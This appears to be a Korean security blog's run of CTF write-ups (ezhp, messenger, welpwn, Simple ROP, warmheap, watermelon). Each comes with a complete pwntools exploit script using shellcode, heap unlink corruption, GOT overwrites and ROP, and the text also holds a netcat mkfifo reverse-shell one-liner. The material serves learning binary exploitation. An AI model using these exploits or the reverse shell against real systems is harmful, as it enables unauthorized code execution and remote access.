double free bug문제


보호기법은 아무것도 없다. 쉘코드를 올려서 풀어도 되겠다.


커스텀 add와 커스텀 free이므로 해당 조건에 맞는 상태로 fake chunk를 만들었다.

next chunk를 puts@got-8로 해주었고 이전 청크를 쉘코드가 있는 주소로 넣어주었다.

쉘코드의 맨 앞에는 jump code를 삽입해서 이전 청크가 next chunk의 앞부분에 삽입할 때 익스할 코드로 점프시키도록 했다.


1. 1번메뉴 선택, 사이즈 =10

2. 1번메뉴 선택, 사이즈 = 10

3. 1번메뉴 선택, 사이즈 = 100

4. 3번메뉴 선택, [1]번째 청크에 릭 페이로드 입력, 사이즈 = 20 

5. 4번메뉴 선택, [3]번째 청크 주소 릭 성공

4. 3번메뉴 선택, [2]번째 청크에 쉘코드 입력, 사이즈=100

5. 3번메뉴 선택, [0]번째 청크에 페이로드 입력, 사이즈=30

6. 2번메뉴 선택, [1]번째 청크 free 하여 exploit



exploit code

from pwn import *

def add(size):
	r.recvuntil("Please choose an option.\n")	
	r.sendline("1")
	r.recvuntil("Please give me a size.\n")
	r.sendline(str(size))

def change(id, size, data):
	r.sendline("3")
	r.sendline(str(id))
	r.sendline(str(size))
	r.sendline(data)

def leak_chunk(id):
	r.sendline("4")
	r.sendline(str(id))
	r.recvuntil("AAAAAAAAAAAAAAA\n")
	leaked_chunk = u32(r.recv()[:4])
	return leaked_chunk

def remove(id):
	r.sendline("2")
	r.sendline(str(id))

if __name__ == "__main__":
	shellcode = "\xeb\x0c"
	shellcode += "\x90"*30
	shellcode += "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"

	r = process("./ezhp")
	elf = ELF("./ezhp")
	
	puts_got = elf.got['puts']

	add(10)
	add(10)
	add(100)

	payload = "A"*15 
	change(1, 20, payload)

	third_chunk = leak_chunk(1)
	shell_address = third_chunk - 0x6c 
	log.info("shellcode address = {}".format(hex(shell_address)))
	change(2, 100, shellcode)

	payload = "A"*12
	payload += p32(0xffffffff)
	payload += p32(puts_got - 8)
	payload += p32(shell_address)

	change(0, 30, payload)
	remove(1)

	r.interactive()


'CTF' 카테고리의 다른 글

Defcon 2014 Babyfirst heap  (0) 2018.08.16
Defcon 2017 smashme  (0) 2018.08.12
CodeGate2017 messenger  (0) 2018.08.07
RCTF 2015 welpwn  (0) 2018.08.01
EasyCTF2017 Simple ROP  (0) 2018.08.01

 64비트용 바이너리며 ASLR과 카나리만 적용되어있고 nx는 적용되어있지 않다.


실행해보면 메뉴들이 있고 각 메뉴들은 각각의 기능을 한다.


ida로 살펴보자.


main함수다.

각 메뉴의 함수를 보자.

먼저 leave함수다.

size와 msg를 입력받고 커스텀 malloc으로 새로운 메모리를 할당받는다.

커스텀 malloc의 주소는 0x400922다.

그리고 각 메모리에 할당되는 사이즈는32바이트를 넘길 수 없다.


그 다음으론 remove함수다.

remove함수는 할당된 메모리의 인덱스를 입력받아서 해당하는 메모리를 free()해주는 역할을 한다.

여기서도  커스텀 free를 이용해 해제한다.

커스텀 free의 주소는 0x400B2D다.


커스텀 free를 보자.

간략하게 요약하자면

fd + 16 = bk

bk + 8 = fd

이런식이다.


32비트에선 fd + 12이나 64비트이므로 fd + 16이다.


이번엔 change 함수다.

change 함수에선 이미 할당된 메모리에 있는 값을 수정하는 기능을 한다.

미리 말하자면 처음 leave함수에선 size가 32바이트를 넘어가면 메모리 할당을 안해주지만 이 change함수에선 size값을 체크하지 않는다.

이 부분에서 취약점이 터진다.


마지막으로 view함수다.

메모리에 저장된 값을 출력해주는 함수다.


이제 문제를 풀자.

우선 gdb로 bp를 걸고 leave함수부터 봤다.


size에 32를 넣고 msg에 AAAA를 넣은 후 메모리의 상태다.

heap의 시작주소는 0x603000이고 첫번째 할당된 메모리는 0x603018이다.

첫번째 할당된 메모리 청크의 fd와 bk를 보면 각각 fd, bk가 잘 있는것을 확인할 수 있다. 

그리고 두번째 leave함수를 할당해봤다.

size는 똑같이 32에 msg는 BBBB로 주었다.

두번째 청크를 보면 fd와 bk가 또 잘 세팅된 것을 볼 수 있다.

근데 여기서 첫번째 청크를 change함수로 오버플로우를 일으켜서 두번째 청크의 fd와 bk를 조작하면 got overwrite를 통해서 쉘코드를 실행할 수 있다.


익스 과정은 아래와 같다.


1. 첫번째 청크를 오버플로우해 두번째 청크의 fd를 leak해서 heap의 주소를 알아낸다.

2. 오버플로우로 두번째 청크의 fd에 exit@got - 0x10을 넣고 bk에 heap+0xa8을 넣어서 unsafe unlink로 공략. (쉘코드를 heap+0xa8보다 큰 곳에 올려한다.)

3. 첫번째 청크에 오버플로우로 쉘코드를 넣는다.


from pwn import *

def leave(size, msg):
	r.recvuntil(">>")
	r.sendline("L")
	r.recvuntil("size :")
	r.sendline(size)
	r.recvuntil("msg :")
	r.sendline(msg)

def change(index, size, msg):
	r.recvuntil(">>")
	r.sendline("C")
	r.recvuntil("index :")
	r.sendline(index)
	r.recvuntil("size :")
	r.sendline(size)
	r.recvuntil("msg :")
	r.sendline(msg)

def view(index):
	r.recvuntil(">>")
	r.sendline("V")
	r.recvuntil("index :")
	r.sendline(index)

def remove(index):
	r.recvuntil(">>")
	r.sendline("R")
	r.recvuntil("index :")
	r.sendline(index)
	

if __name__ == "__main__":
	shellcode = "\x90"*200
	shellcode += "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"
	r = process("./messenger")
	e = ELF("./messenger")

	exit_got = e.got['exit']
	log.info("exit@got = {}".format(hex(exit_got)))

	leave("32", "AAAA")
	leave("32", "BBBB")

	payload = "A"*55
	change("0", "100", payload)

	view("0")
	r.recvuntil("\n")
	heap = u64(r.recvuntil("\n")[:-1].ljust(8, "\x00")) - 0xa8
	log.info("heap = {}".format(hex(heap)))

	payload = "a"*56
	payload += p64(exit_got - 0x10)
	payload += p64(heap + 0xa8)
	
	change("0", "100", payload)
	remove("1")

	change("0", "1000", shellcode)
	r.interactive()



'CTF' 카테고리의 다른 글

Defcon 2017 smashme  (0) 2018.08.12
Plaid 2014 ezhp  (0) 2018.08.12
RCTF 2015 welpwn  (0) 2018.08.01
EasyCTF2017 Simple ROP  (0) 2018.08.01
Def-camp warmheap  (0) 2018.07.31

보호기법은 NX만 걸려있고 64비트다.


일단 실행시켜봤다.

처음에 aa를 입력했는데 입력한 문자열을 출력해주는데 자세히 보면 \n 이후에 ??라는 문자열이 출력되었다.

그 다음은 asdf를 입력했는데 이번엔 출력이 되지 않았다. 뭔가 이상한데 일단 ida로 봐야겠다.

ida로 main()함수를 봤는데 read로 1024바이트를 buf에 입력한다.

하지만 buf의 크기는 딱 1024바이트이므로 오버플로우가 일어나지 않는다...


그 다음 echo()함수로 아까 봤듯이 입력한 buf에 있는 값을 출력해주는 것으로 유추된다.

한번 직접 봐야겠다.


보면 s2[16]이라는 변수가 선언되었고 for문으로 buf의 값을 이곳에 이동시킨다.

그리고 printf()로 s2의 값을 출력하면서 종료된다.

일단 이 함수에서 for문을 통해 스택을 오버플로우를 시킬 수 있다.


잘 보면 먼저 main함수의 스택의 맨 위에 있는 AAAAAAAA가 0x7fffffffdf70에 있고 여기에 있던 값이 for문을 통해 0x7fffffffdf50부터 들어간 것이다.

그리고 ret와의 거리는 24바이트가 차이가 난다.

24바이트의 더미를 입력하고 rop를 하면 문제가 풀릴것처럼 보인다.


하지만 결과는..

rbp+0x8부터 그 이후에 가젯과 여러가지 값들이 전부 복사가 안됐다..


왜 그런가 하면 for문에서 null바이트까지만 값을 받기 때문이다..

rop가 불가능한 것이다.

하지만 역시나 똑똑하신 분들의 라업을 보니 이 불필요한 놈들을 pop 시켜버려서 내가 입력한 가젯까지 esp를 이동시키는 대단한 방법을 사용하셨더라..

즉 다시보면 0x7fffffffdf70부터 0x7fffffffdf88까지를 pop시켜버리면 esp가 0x7fffffffdf90까지 이동하고 0x7fffffffdf90부터 ret를 진행하면 rop가 된다!


이제 총 4개의 pop을 해야하므로 rp++로 pop pop pop pop ret가젯을 찾고, 그 주소를 echo()함수의 ret에 들어가게 한다.

그 다음 rop에 필요한 가젯들을 찾는데..

또 난관이 왔다.


pop rdi ; pop rsi ; pop rdx ; ret ;가 없다..


그래서 라업을 보니까 pop rdi와 pop rsi 가젯을 따로따로 찾아서 rop를 진행했더라..

이렇게 한개씩 한개씩 하면 된다. 근데 또 pop rdx ; 가 없는 게 문제다.

그치만 pop rsi ; pop r15 ; ret ; 가젯은 있는데 다른분들은 이 가젯을 이용해서 풀었더라..

이게 어떻게 가능한지 디버깅을 해서 레지스터를 보니 내가 생각한게 맞는지는 모르지만 거의 맞다고 생각된다.(틀린거면 댓글 달아주세요..)

pop rdx를 하지 않았는데 이미 rdx에 어느정도 큰 수의 값이 들어가 있었다.

rdx에 0x7ffff7dd3780라는 어마한 값이 들어가 있다.

즉 140737351858048바이트를 read할 수 있다는 것이다. 어차피 8바이트정도만 필요하지만 어쨋든 작게 설정된 것보단 좋으니 read()함수의 인자는 충분히 채울 수 있다.


exploit code

from pwn import *

r = process("./welpwn_932a4428ea8d4581431502ab7e66ea4b")
elf = ELF("./welpwn_932a4428ea8d4581431502ab7e66ea4b")
print r.recv()

ppppr = 0x40089c
pop_rdi = 0x004008a3
pop_rsi_r15 = 0x004008a1
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
read_plt = elf.plt['read']
system_offset = 0x2a300 #puts - system
bss = elf.bss()
cmd = "/bin/sh"

payload = "A"*24
payload += p64(ppppr)
payload += p64(pop_rdi)
payload += p64(puts_got)
payload += p64(puts_plt)

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(puts_got)
payload += p64(0)
payload += p64(read_plt)

payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi_r15)
payload += p64(bss)
payload += p64(0)
payload += p64(read_plt)

payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(puts_plt)

r.sendline(payload)
r.recvuntil("AAAAAAAAAAAAAAAAAAAAAAAA")
r.recv(3)
libc_puts = u64(r.recv(6) + "\x00\x00")
log.info("libc_puts = {}".format(hex(libc_puts)))
libc_system = libc_puts - system_offset
log.info("libc_system = {}".format(hex(libc_system)))

r.sendline(p64(libc_system))
r.sendline(cmd)

r.interactive()



'CTF' 카테고리의 다른 글

Plaid 2014 ezhp  (0) 2018.08.12
CodeGate2017 messenger  (0) 2018.08.07
EasyCTF2017 Simple ROP  (0) 2018.08.01
Def-camp warmheap  (0) 2018.07.31
CodeGate2016 watermelon  (0) 2018.07.26

아주 간단한 문제 bof문제였다.


exploit

(python -c 'print "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"+"\x1a\x85\x04\x08"';cat) | ./simple-rop


'CTF' 카테고리의 다른 글

CodeGate2017 messenger  (0) 2018.08.07
RCTF 2015 welpwn  (0) 2018.08.01
Def-camp warmheap  (0) 2018.07.31
CodeGate2016 watermelon  (0) 2018.07.26
CodeGate2014 nuclear  (0) 2018.07.22

warmheap

해당 바이너리는 64비트며 보호기법은 nx만 설정되어 있다.


바이너리를 실행하면

두번의 입력을 받고 종료된다.


심볼이 없어서 gdb로 함수를 열어볼 수 없다.


따라서 ida로 봐야했다.


main()함수의 헥스레이다.


v3에 16바이트 크기를 malloc으로 동적할당을 해준다.

그리고 *v3에 1을 넣는다.

그 다음 *(QWORD(v3) + 1)에 또다시 8바이트를 동적할당한다. v3가 가리키는 곳에서 한칸(8바이트) 추가된 위치에 할당을 해주는 것이다.

그리고 v4에 16바이트를 할당한 후 위와 비슷하게 *v4에 2를 넣는다.  그 다음 *(QWORT(v4) + 1)위치에 8바이트를 동적할당한다.

그리고 s라는 변수에 4096바이트를 fgets()를 통해 입력받고 strcpy()로 (v3+1)에 복사한다.

다음에도 마찬가지로 s에 4096바이트를 입력받고 strcpy()로 *(v4+1)에 그 값을 넣는다.

그리고 exit()함수로 바이너리를 종료한다.


우선 메인만 봤을 때는 main에서 다른함수로 jump하는 것은 없어서 이게 전부의 기능인듯싶으나 ida로 살펴보면 여러 함수가 많이 있다.

그 중 문제풀이와 관련될 것 같이 생긴 함수가 있어서 분석했다.

sub_400826()함수인데 보면 flag라는 파일을 읽어서 출력해주는 역할을 한다.

메인에서 이 함수로 넘어올 수 있는 방법은 eip를 조작하는 방법 말고는 없어보인다.


처음엔 어떻게 해야할지 막막해서 이전에 풀었던 문제들 중 힙에 대해 찾아보다가 알고보니 protostar excercise heap2와 너무 유사한 문제였다.


바이너리를 차근차근 짚어보면 쉽다.

우선 메인함수의 주소는 0x4008a8다.

x/52i를 하면 main의 어셈코드를 전부 출력할 수 있다.

여기서 bp를 적절히 주었다.

첫번째 fgets에 bp를 걸고 A 8바이트를 줬다.



일단 $rbp-0x1020 = v3 의 스택 상태를 확인해보자.

보면 $rbp-0x1020 에는 malloc(16)한 주소가 *v3에 있다. 그리고 $rbp-0x1018에는 *v4에 동적할당한 주소가 있다.

그리고 이제 strcpy(*((char **)v3 + 1), &s); 를 실행시킨 후 스택과 힙을 봐야한다.


*(v3 + 1)에 stdin이 복사되므로 *v4는 0x602010이므로 *(v3+1)은 8바이트가 더해진 0x602018이다. 즉 0x602018에 있는 주소에 stdin을 복사한다.

예상했던대로 0x602030에 아까 입력한 A 8바이트가 복사되었다.


그리고 그 다음 fgets에서 B를 8바이트 입력해봤다.

stdin에 B가 8바이트가 들어간 것을 확인할 수 있다.


이제 strcpy(*((char **)v4 + 1), &s); 를 확인해보자.

먼저 v4+1의 위치를 보면 

0x602070이다.

0x00602010에서부터 메모리를 확인해보면 

아까 확인했듯이 *v4는 0x602050이다.

즉 *(v4 + 1)은 0x602058인데 그 위치에 0x602070이 있다. 이 주소에 stdin을 넣는데.. 0x602030부터 overflow로 0x602058까지 덮어서 원하는 주소를 입력하면 eip를 조작할 수 있다.


eip를 조작해서 sub_400826()함수로 jump하면 된다.


다행히 이 바이너리의 마지막은 exit()로 끝나기 때문에 exit@got에 sub_400826()함수의 주소인 0x400826를 덮어버리면 바이너리 마지막 단계에서 sub_400826()함수를 실행하면서 flag를 읽어낼 수 있다.

0x602030부터 0x602054까지 40바이트가 차이가 나니 첫번째 fgets에서 dummy40바이트에 나머지 8바이트를 exit@got의 주소를 넣고 두번째 fgets에서 0x400826를 넣으면 익스가 된다.


exploit code

from pwn import *

exit_got = 0x601068
exploit_addr = 0x400826

r = process("./warmheap")

payload = "A"*40
payload += p64(exit_got)
r.sendline(payload)

r.sendline(p64(exploit_addr))
print r.recv()


'CTF' 카테고리의 다른 글

RCTF 2015 welpwn  (0) 2018.08.01
EasyCTF2017 Simple ROP  (0) 2018.08.01
CodeGate2016 watermelon  (0) 2018.07.26
CodeGate2014 nuclear  (0) 2018.07.22
CodeGate 2014 angry_doraemon  (0) 2018.07.20

nc -e 옵션대신 리버스쉘을 할 수 있는 방법


rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc [IP ADDRESS] [PORT] >/tmp/f



Ref.http://kaka09.tistory.com/32?category=626537

'HACKING > System hacking' 카테고리의 다른 글

The House of Force  (0) 2018.08.23
파일 디스크립터  (0) 2018.08.04
python의 pickle 모듈 취약점  (0) 2018.07.28
_start() 함수  (0) 2018.07.27
nc -e 옵션 사용이 안될때  (0) 2018.07.19

http://blog.tunz.kr/119

'HACKING > System hacking' 카테고리의 다른 글

파일 디스크립터  (0) 2018.08.04
리버스 쉘(nc via mkfifo)  (0) 2018.07.28
_start() 함수  (0) 2018.07.27
nc -e 옵션 사용이 안될때  (0) 2018.07.19
gdb-peda 기능들  (0) 2018.07.08

일반적으로 프로그램이 시작하면 맨 처음 main함수가 실행 된다고 알고 있는데.. 메인함수를 실행 시키기 위한 환경을 만들어 주는 과정이 있다.

 

이 과정에서 먼저 실행되는 함수가 있는데 _start()함수다.

메인함수도 이 _start()함수가 실행된 후에 실행되므로 main보다 먼저 실행이 된다.

 

우선 코드를 컴파일해서 확인해보자.

 

test1.c

#include<stdio.h>
#include<stdlib.h>
_start()
{
   exit(my_main());
}
int my_main()
{
   printf("Hello");
   return 0;
}

gcc  -nostartfiles  test1.c 

 

main함수 없이 코드를 작성했고 위와 같이 컴파일 한 후 실행시켜 봤다.

이처럼 메인함수 없이도 내 임의의 main을 실행 시킬 수 있다.

 

이제 gdb로 이 _start()함수를 확인해보자.

 

코드를 짠대로 _start()함수에서 my_main()을 콜한다.

 

만약 실제 main()함수를 실행할 때는 어떻게 동작하는지 이번엔 main()함수가 있는 코드를 작성해서 컴파일해봤다.

#include <stdio.h>

int main()
{
        printf("Hello");
        return 0;
}

 

먼저 이 코드를 컴파일을 해주고 gdb로 열었다.

_start()함수의 주소를 찾았다. 이제 여기서 main()을 call하는 부분을 확인해야한다.

 

해당 주소에 bp를 걸고 레지스터들을 확인해야 한다.

 

레지스터를 보면 64비트에선 rdi, rsi가 함수의 첫번째와 두번째 인자로 들어가는데 여기서 rdi와 rsi는 각각 main()함수 시작주소와 해당 함수의 첫번 째 인자를 넣는 것이다.

즉 call할때 첫번째 인자에는 실행시킬 함수를 주고, 두번째 인자에는 해당 함수에 들어갈 인자 값을 넣는 것이다.

 

이번에는 다시 main()함수가 없는 test1.c의 my_main()을 하는 부분에 bp를 걸고 다시 확인해보자.

이번에는 my_main()함수를 직접 호출하기 때문에 rdi에는 어떤 0을 가리키는 값이 들어갔고 rsi에는 또 1이 들어갔다.

정확히 확인해보기 위해 이번에는 my_main()함수에 인자를 추가해야겠다.

 

#include<stdio.h>
#include<stdlib.h>
_start()
{
   exit(my_main(31));
}
int my_main(int i)
{
   printf("Hello");
   return 0;
}

 

이번에도 똑같이 컴파일한 후 gdb로 확인해봤다.

이번에는 rdi에 my_main()의 첫번째 인자엔 십진수로 33인 0x1f가 들어가 있다.

이제 대충 _start()함수의 원리를 아주 조금 안 것 같다.

다음엔 직접 libc의 소스를 보면서 파악을 해봐야 겠다.

===========================================================================

start In Kernel

- start_kernel 함수

 

ref.http://egloos.zum.com/studyfoss/v/5283161

ref.https://stackoverflow.com/questions/5764298/how-to-compile-c-source-code-without-a-main-function

ref.https://tistory.0wn.kr/368

'HACKING > System hacking' 카테고리의 다른 글

리버스 쉘(nc via mkfifo)  (0) 2018.07.28
python의 pickle 모듈 취약점  (0) 2018.07.28
nc -e 옵션 사용이 안될때  (0) 2018.07.19
gdb-peda 기능들  (0) 2018.07.08
Shell Escaping tips  (0) 2018.06.23

watermelon


먼저 이 바이너리는 32비트 리눅스용 바이너리다.


그리고 보호기법을 보니 카나리와 nx가 설정되어있다. rop로 접근하면 될 것 같다.

바이너리를 실행하면 위 처럼 먼저 name을 입력하고 메뉴를 선택한다.

이 메뉴들에 대해선 ida로 먼저 살펴봤다.


헥스레이로 main()함수를 보면 알 수 있다.

우선 v1변수에 4400바이트를 memset한다.

그리고 name으로 입력한 값은 bss영역인 0x804D7A0에 값이 들어간다. (익스플로잇 할 때 /bin/sh을 여기에 넣을 수 있겠다.)


그리고 보면 case문을 통해 메뉴를 이동할 수 있다.

먼저 4294967295는 0xffffffff다. 즉 -1이다.
-1은 메뉴로 출력되지는 않았지만 기능을 하나보다.
각각 1,2,3,4는 v1변수를 인자로 함수를 실행시킨다.

sub_80497FA()함수는 위와 같이 메뉴를 출력해주고 입력을 받는 함수다. 


우선 1번 메뉴부터 보면 


음악리스트를 추가하는 함수다.

dword_804CB88가 100이면 리스트가 꽉 찼다고 출력하고 리턴한다.

그 외엔 새로운 리스트를 추가할 수 있도록 진행된다.

근데 여기서 read()함수가 있는데.. 21바이트를 read를 하면서 1바이트의 오버플로우가 발생한다. 왜냐면 (44 * dword_804CB88 + a1 + 4)는 구조체라서 그렇다.

num[4] | music[20] | artist[20] 이렇게 되어있다. 즉 한 구조체는 44바이트를 가지고 있다.

그리고 두 번 read하는 것은 music과 artist를 받기 때문인데 둘 다 20바이트의 공간을 가지고 있으나 21바이트를 받게되면 오버플로우가 발생한다. 하지만 이걸로는 ret를 덮을 수 없다.

이 부분은 이후에 카나리를 릭할 때 필요하게 된다.


그리고 2번 메뉴는 단순히 저장된 음악 리스트를 출력해주는 함수다.


그리고 3번 메뉴를 보자.

이 메뉴는 이미 생성된 음악 리스트를 수정하는 함수다.

여기서 두번째 read()를 보면 200바이트나 수정을 한다. 즉 오버플로우를 일으킬 수 있다는 것이다.


시나리오는 먼저 1번 메뉴를 생성해 구조체의 최대 개수인 100개를 생성한 후 main()의 카나리를 릭 하고, 3번 메뉴를 실행시켜서 100번째 구조체의 artist를 수정할 때 canary부터 ret까지 덮어서 rop를 할 것이다.


우선 카나리를 구할 때 첫바이트가 널일 경우는 read에 21바이트를 입력하면 카나리가 출력이 된다.




exploit code
from pwn import *

p = process("./watermelon")
elf = ELF("./watermelon")

name = 0x804D7A0
write_plt = elf.plt['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
pppr = 0x8048f0d
system_offset = 0x9ad60 #read - system

log.info("binary is executing...")
p.recv()
p.sendline("/bin/sh\x00")
p.recv()

log.info("looping..")
for i in range(0, 100):
	p.sendline("1")
	p.recvuntil("music")
	p.recv()
	p.sendline("A")
	p.recv()
	p.sendline("B")
	sleep(0.2)
	p.recv()
log.info("playlist is FULL!")

p.sendline("3")
p.recvuntil("100")
p.recv()
p.sendline("100")
p.recv() 
p.sendline("GGGG") # modify music
p.recv()
p.sendline("T"*20) # leak canary
p.recv()
p.sendline("2")
p.recvuntil("T"*20)
canary = u32("\x00" + p.recv().split("\x0a")[1][0:3])
log.info("leaked CANARY = {}".format(hex(canary)))

payload = "A"*20
payload += p32(canary)
payload += "A"*12

payload += p32(write_plt)
payload += p32(pppr)
payload += p32(1)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)
payload += p32(pppr)
payload += p32(0)
payload += p32(read_got)
payload += p32(4)

payload += p32(read_plt)
payload += "JUNK"
payload += p32(name)

log.info("Exploit..")
p.sendline("3")
p.recv()
p.recv()
log.info("sending 100")
p.recv()
p.sendline("100")
p.recv()
p.sendline("AAAA")
p.recv()
p.sendline(payload)
p.recv()
p.sendline("4")
p.recvuntil("BYE BYE\n\n")

libc_read = u32(p.recv())
log.info("libc read = {}".format(hex(libc_read)))
libc_system = libc_read - system_offset
log.info("libc system = {}".format(hex(libc_system)))

p.sendline(p32(libc_system))
p.interactive()


'CTF' 카테고리의 다른 글

EasyCTF2017 Simple ROP  (0) 2018.08.01
Def-camp warmheap  (0) 2018.07.31
CodeGate2014 nuclear  (0) 2018.07.22
CodeGate 2014 angry_doraemon  (0) 2018.07.20
CodeGate 2017 babypwn  (1) 2018.07.18

+ Recent posts